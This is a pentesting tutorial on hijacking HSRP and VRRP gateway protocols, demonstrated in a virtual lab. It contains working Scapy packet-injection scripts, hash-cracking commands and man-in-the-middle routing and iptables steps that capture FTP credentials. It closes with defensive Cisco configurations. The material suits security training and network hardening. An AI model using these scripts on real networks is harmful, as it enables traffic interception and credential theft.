Gateway Bleeding. Pentesting FHRP systems and hijacking network traffic

There are many ways to increase fault tolerance and reliability of corporate networks. Among other things, First Hop Redundancy Protocols (FHRP) are used for this purpose. In this article, I will explain how pentesters interact with FHRP in the course of network attacks.

warning

This article is intended for security specialists operating under a contract; all information provided in it is for educational purposes only. Neither the author nor the Editorial Board can be held liable for any damages caused by improper usage of this publication. Distribution of malware, disruption of systems, and violation of secrecy of correspondence are prosecuted by law.

Why FHRP?

First Hop Redundancy Protocol (FHRP) is a class of protocols ensuring network gateway redundancy. The idea is to combine multiple physical routers into one logical router with a common IP address. This address of the virtual router will be assigned to the interface of the master router responsible for traffic forwarding. The most popular protocols in the FHRP class are HSRP and VRRP.

HSRP (theory)

Hot Standby Router Protocol (HSRP) is a protocol of the FHRP class making it possible to implement a gateway fault tolerance system. It was developed by Cisco Systems engineers and is compatible only with Cisco network equipment. The protocol is implemented on top of the TCP/IP stack and uses the UDP protocol on port 1985 to broadcast service information.

The purpose of the HSRP configuration is to combine routers into one logical group of HSRP routers under a special numeric identifier. A logical router formed in the HSRP group receives a virtual IP address, which is assigned as the default gateway for end hosts.

Routers running HSRP use so-called Hello packets to exchange service information. This is how the devices communicate with each other, hold elections, and inform each other about their status.

HSRP traffic dump
HSRP traffic dump

By default, the active router sends out a Hello message every three seconds to say something like: “Buddies, I’m still up and running.” However, if the Standby router doesn’t receive any Hello messages from the Active router within ten seconds, then it will consider that the Active router is ‘down’ and assume its role based on priority values.

HSRP versions

The HSRP protocol has two versions: HSRPv1 and HSRPv2. They differ in the following parameters:

  • number of possible logical groups. HSRPv1 supports up to 255 groups; HSRPv2, up to 4096 groups;
  • multicast IP address. HSRPv1 uses the IP address 224.0.0.2 to broadcast service information, while HSRPv2 uses 224.0.0.102; and 
  • virtual MAC address. HSRPv1 uses 00:00:0C:07:AC:XX as the virtual MAC address; HSRPv2, 00:00:0C:9F:FX:XX (where XX is the HSRP group number).

Entities in the HSRP domain

The following entities exist within an HSRP group:

  • HSRP Active Router – a device acting as a virtual router and forwarding traffic from source networks to destination networks;
  • HSRP Standby Router – a device acting as a standby router that waits for the failure of the Active router. After the failure of the main Active router, the Standby router will assume the dominant role and take over the duties previously handled by the Active router;
  • HSRP Group – a group of devices that are members of a single HSRP group; these devices ensure the operation and fault tolerance of the logical router;
  • HSRP MAC Address – the virtual MAC address of the logical router in the HSRP domain; and 
  • HSRP Virtual IP Address – a special virtual IP address in the HSRP group. This IP address serves as the default gateway for end hosts, and it’s assigned to the logical router itself.

VRRP (theory)

Virtual Router Redundancy Protocol (VRRP) is a protocol developed as a ‘free’ alternative to HSRP. But since it is based on phenomena used in the HSRP protocol, its ‘openness and freedom’ have certain limitations, and it cannot be called completely free. VRRP is almost identical to HSRP; it performs the same functions; and its domain has exactly the same entities. The only difference is that they have different names.

In HSRP, advertisements are generated not only by the Active router, but also by the Standby router. In VRRP, only the Master router broadcasts advertisements to the reserved multicast address 224.0.0.18. By default, VRRP hello packets are sent every second.

VRRP traffic dump
VRRP traffic dump

VRRP versions

The protocol has two versions: VRRPv2 and VRRPv3.

  • VRRPv3 supports IPv6; VRRPv2 only supports IPv4 networks;
  • VRRPv3 doesn’t support authentication; VRRPv2 uses three authentication techniques; and 
  • VRRPv3 uses centiseconds as timings; while VRRPv2 operates with seconds.

Entities in the VRRP domain

  • VRRP Master Router – the active router responsible for transmitting legitimate traffic on the network;
  • VRRP Backup Router – a router in standby mode. As soon as the current Master Router fails, it will take over its role and start performing its functions;
  • VRRP MAC Address – virtual MAC address in the VRRP group (00:00:5E:01:XX where XX is the VRRP group number;
  • VRRP VRID – ID of the VRRP group that combines physical routers; and 
  • VRRP Virtual IP Address – a special virtual IP address in the VRRP domain. This IP address is used as the default gateway for end hosts.

Master router selection

In FHRP protocols, the dominant role is assigned to a router based on its priority value. By default, at the time of configuring, this value is equivalent to 100 for all routers. The maximum priority value varies in the range from 1 to 255 (in VRRP, from 1 to 254).

If the admin hasn’t manually configured priority values for all routers, the router with the maximum IP address will become the master router. By configuring priority values, the engineer decides what device will be the active router and what device will act as a backup.

FHRP Hijacking

The idea of this network attack is as follows: you forcibly make your device the master router by injecting an HSRP or VRRP packet with the highest priority value. Successful exploitation results in a MITM attack enabling you to intercept all traffic within the network, redirect it, or deliver a DoS attack. All you have to do is craft an HSRP or VRRP packet with the highest priority value of 255 and transmit is to the local network. Sounds not too difficult, right?

Traffic before the attack
Traffic before the attack
Traffic after the attack
Traffic after the attack

warning

When you deliver an attack on FHRP, you have to interact with legitimate routers acting as default gateways for end hosts. Accordingly, you have to perform all your actions, from injection to traffic forwarding from your machine, very quickly. If you act slowly during the attack, the end hosts will detect DoS, and your customer won’t appreciate such a scenario.

Preparing custom injection

I wrote special tools to attack FHRP protocols and added them to my GatewayBleeding repository. It is always better to write your own tools so that you understand the entire exploitation process. Plus, this distinguishes you from other hackers pentesters.

To ensure that you understand the exploitation principle, I will walk you through the entire code of the scripts HSRPWN.py and VRRPWN.py.

info

The tools are written in Python v.3.

HSRPWN.py

First, I import the Scapy library and a module for interaction with L2 protocols and HSRP. In addition, I import the argparse module to make the script parameterized.

from scapy.all import *
from scapy.layers.l2 import *
from scapy.layers.hsrp import *
import argparse

I write the HSRPv1 multicast IP address to the HSRPMulticastAddr variable.

HSRPMulticastAddr = "224.0.0.2"

Then I declare the take_arguments function. It will process the following input parameters entered by the user:

  • interface from where packets will be sent (interface variable);
  • HSRP group number (group variable);
  • IP address of the attacker (variable attackerip);
  • virtual IP address of the HSRP domain (variable vip); and 
  • authentication key (variable auth).

The parser.parse_args()function will parse the entered parameters. The obtained result will be written to the args variable.

def take_arguments():
parser = argparse.ArgumentParser()
parser.add_argument("--interface", dest="interface", type=str, required=True, help="Select your network interface")
parser.add_argument("--group", dest="group", type=int, required=True, help="Choose HSRP group ID value")
parser.add_argument("--ip", dest="attackerip", type=str, required=True, help="Specify your IP address")
parser.add_argument("--vip", dest="vip", type=str, required=True, help="Specify HSRP Virtual IP address")
parser.add_argument("--auth", dest="auth", type=str, required=True, help="Enter the auth HSRP passphrase")
args = parser.parse_args()
return args

The inject function assembles the injection of an HSRP packet with the highest priority value (255). The values for variables within the packet layers specified by the user are extracted from args.*. Note that:

  • the Ethernet frame is assembled in the L2frame variable;
  • the network packet with the IP address of the source and the IP address of the destination is assembled in the L3packet variable. TTL is equal to 1. If you send a packet with a different TTL value, routers would bounce it;
  • the UDP layer with source port 1985 and destination port 1985 is created in the UDP_layer variable;
  • the malicious HSRP packet with a priority value of 255, HSRP group number, virtual IP address value, and authentication key is created in the evil_hsrp variable; and 
  • the entire packet with the frame, network IP packet, UDP layer, and HSRP protocol is assembled in the crafted variable.
def inject(interface, group, attackerip, vip, auth):
L2frame = Ether()
L3packet = IP(src=args.attackerip, dst=HSRPMulticastAddr, ttl=1)
UDP_layer = UDP(sport=1985, dport=1985)
evil_hsrp = HSRP(group=args.group, priority=255, virtualIP=args.vip, auth=args.auth)
crafted = L2frame / L3packet / UDP_layer / evil_hsrp
sendp(crafted, iface=args.interface, inter=3, loop=1, verbose=1)

Using the sendp method, the crafted packet is transmitted every three seconds from the interface specified by the user. The script execution must NOT be stopped: if it fails, packets won’t be sent anymore, and legitimate routers will consider your device ‘dead’ and rearrange their roles in the domain.

At the end of the script, the take_arguments and inject functions are called.

args = take_arguments()
inject(args.interface, args.group, args.attackerip, args.vip, args.auth)

VRRPWN.py

It’s very similar to HSRPWN.py, although some differences exist.

Importing the module for interaction with the VRRP protocol:

from scapy.layers.vrrp import *

The VRRPMulticastAddr variable specifies the multicast IP address 224.0.0.18:

VRRPMulticastAddr = "224.0.0.18"

The take_arguments function will process the following input parameters entered by the user:

  • interface from which packets will be sent (interface variable);
  • HSRP group number (group variable);
  • IP address of the attacker (variable attackerip); and 
  • virtual IP address of the HSRP domain (variable vip).
def take_arguments():
parser = argparse.ArgumentParser()
parser.add_argument("--interface", dest="interface", type=str, required=True, help="Select your network interface")
parser.add_argument("--group", dest="group", type=int, required=True, help="Choose VRRP group ID value")
parser.add_argument("--ip", dest="attackerip", type=str, required=True, help="Specify your IP address")
parser.add_argument("--vip", dest="vip", type=str, required=True, help="Specify VRRP Virtual IP address")
args = parser.parse_args()
return args

How it works:

  • the Ethernet frame is assembled in L2frame;
  • the network packet with the IP address of the source and the IP address of the destination is assembled in the L3packet variable. TTL is equal to 255. If you send a packet with a different TTL value, routers would bounce it;
  • the malicious VRRP packet with a priority value of 255, VRRP group number, and virtual IP address value packet is assembled in the evil_vrrp variable; and 
  • the entire packet with the frame, network IP packet, and VRRP protocol is assembled in the crafted variable.
def inject(interface, group, attackerip, vip):
L2frame = Ether()
L3packet = IP(src=args.attackerip, dst=VRRPMulticastAddr, ttl=255)
evil_vrrp = VRRP(vrid=args.group, priority=255, addrlist=args.vip)
crafted = L2frame / L3packet / evil_vrrp
sendp(crafted, iface=args.interface, inter=3, loop=1, verbose=1)

info

There is no transport protocol layer in this script. VRRP operates only at the network layer and isn’t implemented on top of the TCP/IP protocol stack.

At the end of the script, the take_arguments and inject functions are called:

args = take_arguments()
inject(args.interface, args.group, args.attackerip, args.vip)

Virtual lab

To demonstrate the exploitation, I prepared a simple test system.

Network interactions at the logical level
Network interactions at the logical level
IP addressing of the test system
IP addressing of the test system

Legend:
Dustup is the FTP server;
Kali acts as the attacker;
Radiant is a front-end PC with Windows 10 LTSC;
SW2 and SW4are Cisco vIOS switches; and
R1 and R2 are Cisco vIOS routers.

HSRP domain

I am going to use HSRPv1.

Network topology with HSRP
Network topology with HSRP

VRRP domain

This test network uses VRRPv2.

Network topology with VRRP
Network topology with VRRP

Cracking MD5 authentication

Access to FHRP domains can be protected by authentication. In most cases, it’s MD5 authentication. I am going to show how to brute-force the password and extract hash from the network traffic dump.

Dump of a HSRP packet with authentication
Dump of a HSRP packet with authentication

I save the traffic dump to the hsrp_encrypted.pcap file. Next, I run the pcap2john utility and feed the HSRP traffic dump with hashes to it as input.

necreas1ng@Mercy:~$ pcap2john hsrp_encrypted.pcap
Hashes extracted from HSRP traffic dump
Hashes extracted from HSRP traffic dump

Then I copy the hashes to a separate file called hsrp_md5_hashes.txt and use John The Ripper to enumerate passwords; the word list has to be specified using the --wordlist parameter. JTR will automatically determine the hash type in the file.

necreas1ng@Mercy:~$ john hsrp_md5_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Cracked password to the HSRP domain
Cracked password to the HSRP domain

The password to the HSRP domain is admin. Now let’s examine a similar case with a VRRP domain.

Dump of a VRRP packet with authentication
Dump of a VRRP packet with authentication

I save the traffic dump to the file vrrp_encrypted.pcap. Then I run the pcap2john utility and feed the VRRP traffic dump with hashes to it as input.

necreas1ng@Mercy:~$ pcap2john vrrp_encrypted.pcap
Hashes extracted from VRRP traffic dump
Hashes extracted from VRRP traffic dump

I copy the hashes to the file vrrp_md5_hashes.txt and use John The Ripper to enumerate passwords; the word list has to be specified using the --wordlist parameter. Similar to the previous case, JTR will determine the hash type in the file automatically.

necreas1ng@Mercy:~$ john vrrp_md5_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Cracked password to the VRRP domain
Cracked password to the VRRP domain

The password to the VRRP domain is cerberus.

Attacking HSRP and intercepting traffic

First of all, I have to switch the network interface to the promiscuous mode and enable forwarding on my machine:

necreas1ng@Mercy:~$ sudo ifconfig eth0 promisc
necreas1ng@Mercy:~$ sudo sysctl -w net.ipv4.ip_forward=1

I run the HSRPWN.py script and specify the interface, attacker’s IP address, virtual IP address, group number, and authentication key.

necreas1ng@Mercy:~$ sudo python3 HSRPWN.py --interface eth0 --group 1 --ip 10.1.1.2 --vip 10.1.1.254 --auth cisco
Traffic dump during the HSRP injection
Traffic dump during the HSRP injection

HSRP configuration on the R1 and R2 routers before the injection:

R1# show standby brief
P indicates configured to preempt.
|
Interface Grp Pri P State Active Standby Virtual IP
Gi0/0 1 150 Active local 10.1.1.200 10.1.1.254
R2# show standby brief
P indicates configured to preempt.
|
Interface Grp Pri P State Active Standby Virtual IP
Gi0/0 1 100 Standby 10.1.1.100 local 10.1.1.254

Below is the behavior of the HSRP configuration on the R1 and R2 routers after the injection:

R1# show standby brief
P indicates configured to preempt.
|
Interface Grp Pri P State Active Standby Virtual IP
Gi0/0 1 150 Standby 10.1.1.2 local 10.1.1.254
R2# show standby brief
P indicates configured to preempt.
|
Interface Grp Pri P State Active Standby Virtual IP
Gi0/0 1 100 Listen 10.1.1.2 10.1.1.100 10.1.1.254

As you can see, the R1 and R2 routers have changed their roles. Now they recognize the host whose IP address is 10.1.1.2 the Active router.

At this point, you have to create a secondary IP address on the eth0 interface specifying the virtual IP address of the HSRP group:

necreas1ng@Mercy:~$ sudo ifconfig eth0:1 10.1.1.254 netmask 255.255.255.0

Next, you have to delete all routes on your PC and create a single route passing via one of the legitimate routers. You can set the IP address of one of these routers (i.e. R1 or R2) as the next gateway. Even though you have ‘seized’ the role of the Active router from it, the device still can perform routing and direct traffic to the host or destination network. Setting the route through the IP address of the R1 router (10.1.1.100):

necreas1ng@Mercy:~$ sudo del default gw
necreas1ng@Mercy:~$ sudo route del -net 0.0.0.0 netmask 0.0.0.0
necreas1ng@Mercy:~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.1.1.100 eth0

Now you can see only outgoing traffic. It would be great to view incoming traffic as well. A simple NAT rule will solve this problem.

necreas1ng@Mercy:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

After delivering the attack, I try to connect from the PC called Radiant to the FTP server called Dustup. Let’s see whether the attack was successful.

C:\Users\radiant>ftp 172.20.20.50
Dump of intercepted FTP traffic after delivering an attack on HSRP
Dump of intercepted FTP traffic after delivering an attack on HSRP

As you can see, I was able to intercept legitimate traffic and even gained the FTP server credits: mercy:i_dont_trust_you.

info

In the above case, the attacker intercepts all traffic within the network, while the connection to an FTP server is just an example illustrating potential impacts of this attack.

Attacking VRRP and intercepting traffic

Running the VRRPWN.py script:

necreas1ng@Mercy:~$ sudo python3 VRRPWN.py --interface eth0 --group 1 --ip 10.1.1.2 --vip 10.1.1.254

Note that only 10.1.1.2 sends out advertisements. This indicates that I assumed the role of the Master router.

Traffic dump during the VRRP injection
Traffic dump during the VRRP injection

Below is the VRRP behavior on the R1 and R2 routers before the injection:

R1# show vrrp brief
Interface Grp Pri Time Own Pre State Master addr Group addr
Gi0/0 1 150 3414 Y Master 10.1.1.100 10.1.1.254
R2# show vrrp brief
Interface Grp Pri Time Own Pre State Master addr Group addr
Gi0/0 1 100 3609 Y Backup 10.1.1.100 10.1.1.254

And after the injection:

R1# show vrrp brief
Interface Grp Pri Time Own Pre State Master addr Group addr
Gi0/0 1 150 3414 Y Backup 10.1.1.2 10.1.1.254
R2# show vrrp brief
Interface Grp Pri Time Own Pre State Master addr Group addr
Gi0/0 1 100 3609 Y Backup 10.1.1.2 10.1.1.254

The R1 and R2 routers changed their roles. Now they recognize the host whose IP address is 10.1.1.2 the Master router.

Now you have to create a secondary IP address on the eth0 interface and specify the virtual IP address of the VRRP group:

necreas1ng@Mercy:~$ sudo ifconfig eth0:1 10.1.1.254 netmask 255.255.255.0

Then you delete all routes on your PC and create a single route passing via the R1 router:

necreas1ng@Mercy:~$ sudo del default gw
necreas1ng@Mercy:~$ sudo route del -net 0.0.0.0 netmask 0.0.0.0
necreas1ng@Mercy:~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.1.1.100 eth0

And finally, a SNAT rule:

necreas1ng@Mercy:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

After delivering the attack, I try to connect from the PC called Radiant to the FTP server called Dustup.

Dump of intercepted FTP traffic after delivering an attack on VRRP
Dump of intercepted FTP traffic after delivering an attack on VRRP

The result is the same: you can see all traffic, but in this particular case, I was only interested in FTP traffic. Intercepted credits: betrayal:punish_you.

Prevention

Priority 255

For security reasons, it is recommended to set the maximum priority on the Master (or Active) router. As a result, sending a malicious packet with a priority of 255 won’t make the attacker the ‘master’ since it already exists.

info

In this article, I adhere to the Cisco IOS CLI principles and commands.

Config for HSRP, group 1:

R1(config)# int g0/0
R1(config-if)# standby 1 priority 255

Config for VRRP, group 1:

R1(config)# int g0/0
R1(config-if)# vrrp 1 priority 254

Authentication

If you are going to protect your FHRP domain using password authentication, make sure that your password is strong enough and cannot be brute-forced. As shown earlier, the hash is transmitted over the network in plain text; so, an attacker has a chance to brute-force the password.

MD5 authentication config for HSRP, group 1:

R1(config-if)#standby 1 authentication md5 key-string all_h3re_f0r_y0u

MD5 authentication config for VRRP, group 1:

R1(config-if)#vrrp 1 authentication md5 key-string all_h3re_f0r_y0u

By the way, Cisco equipment supports keychain authentication: two keys are configured, and you can even set time intervals during which the key will be received and sent. This approach significantly complicates the life of attackers, since they must not only brute-force the password, but also guess the sequence of keys and the time interval suitable for their transmission.

Below is a keychain configuration example for the R1 router on HSRP; on VRRP, it will work as well. The same configuration should be applied to other routers within the same domain.

R1#conf t # Enter global configuration mode
R1(config)# key chain SecureFHRP # Create SecureFHRP keychain
R1(config-keychain)# key 1 # Create first key
R1(config-keychain-key)# key-string gu1d1ng_l1ght # Set password
R1(config-keychain-key)# accept-lifetime 20:00:00 may 1 2022 20:00:00 may 2 2022 # Specify time interval during which the router will receive key from its neighbor
R1(config-keychain-key)# send-lifetime 20:00:00 may 1 2022 20:00:00 may 2 2022 # Specify time interval during which the router will send key to its neighbor
R1(config-keychain)# key 2 # When first key expires, second key will be used automatically. Create second key
R1(config-keychain-key)# key-string l0g1c_b0mb # Set password
R1(config-keychain-key)# accept-lifetime 20:00:00 may 2 2022 20:00:00 may 3 2022 # Specify time interval during which the router will receive key from its neighbor
R1(config-keychain-key)# send-lifetime 20:00:00 may 2 2022 20:00:00 may 3 2022 # Specify time interval during which the router will send key to its neighbor
R1(config)# interface GigabitEthernet 0/1 # Enter interface configuration mode
R1(config-if)# standby 1 authentication md5 key-chain SecureFHRP # Enable MD5 authentication with keychain for group HSRP 1

Restricting HSRP traffic

HSRP uses the UDP transport-layer protocol to receive and transmit service advertisements. The ACL (Access List Control) setting enables you to restrict UDP traffic on source and destination ports 1985. If an attacker injects HSRP packets, these packets will be bounced by the ACL mechanism.

Below is an extended ACL configuration for HSRPv1:

R1(config)# ip access-list extended DropHSRP # Create extended ACL with the name DropHSRP
R1(config-ext-nacl)# permit udp 10.0.0.0 0.0.0.3 eq 1985 host 224.0.0.2 eq 1985 # Permit UDP traffic for network 10.1.1.0 via a wildcard 30-bit mask, ports 1985, and multicast IP address 224.0.0.2
R1(config-ext-nacl)# deny udp any eq 1985 any eq 1985 # Then deny UDP traffic via ports 1985
R1(config-ext-nacl)# permit ip any any # Permit other traffic via IP
R1(config)# interface GigabitEthernet0/0 # Enter interface configuration mode
R1(config-if)# ip access-group DropHSRP in # Add configured ACL to the interface on IN

Extended ACL configuration for HSRPv2:

R1(config)# ip access-list extended DropHSRPv2 # Create extended ACL with the name DropHSRP
R1(config-ext-nacl)# permit udp 10.0.0.0 0.0.0.3 eq 1985 host 224.0.0.102 eq 1985 # Permit UDP traffic for network 10.1.1.0 via a wildcard 30-bit mask, ports 1985, and multicast IP address 224.0.0.2
R1(config-ext-nacl)# deny udp any eq 1985 any eq 1985 # Then deny UDP traffic via ports 1985
R1(config-ext-nacl)# permit ip any any # Permit other traffic via IP
R1(config)# interface GigabitEthernet0/0 # Enter interface configuration mode
R1(config-if)# ip access-group DropHSRPv2 in # Add configured ACL to the interface on IN

info

When you configure ACL, you have to use wildcard masks.

Conclusions

Protocols of the FHRP class make it possible to create a hot standby system for gateways. Such systems are commonly used in cases described in this article. But now you know what can happen to the network if the engineer doesn’t take a proper care of FHRP security.

By the way, FHRP hijacking is a decent alternative to ARP spoofing. AD networks provide plenty of opportunities for relay attacks and information collection; you can deliver phishing attacks and much more. This article brings new attack vectors to pentesters; while for network admins, it presents handy cases that can be used to enhance the security of their networks.


Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>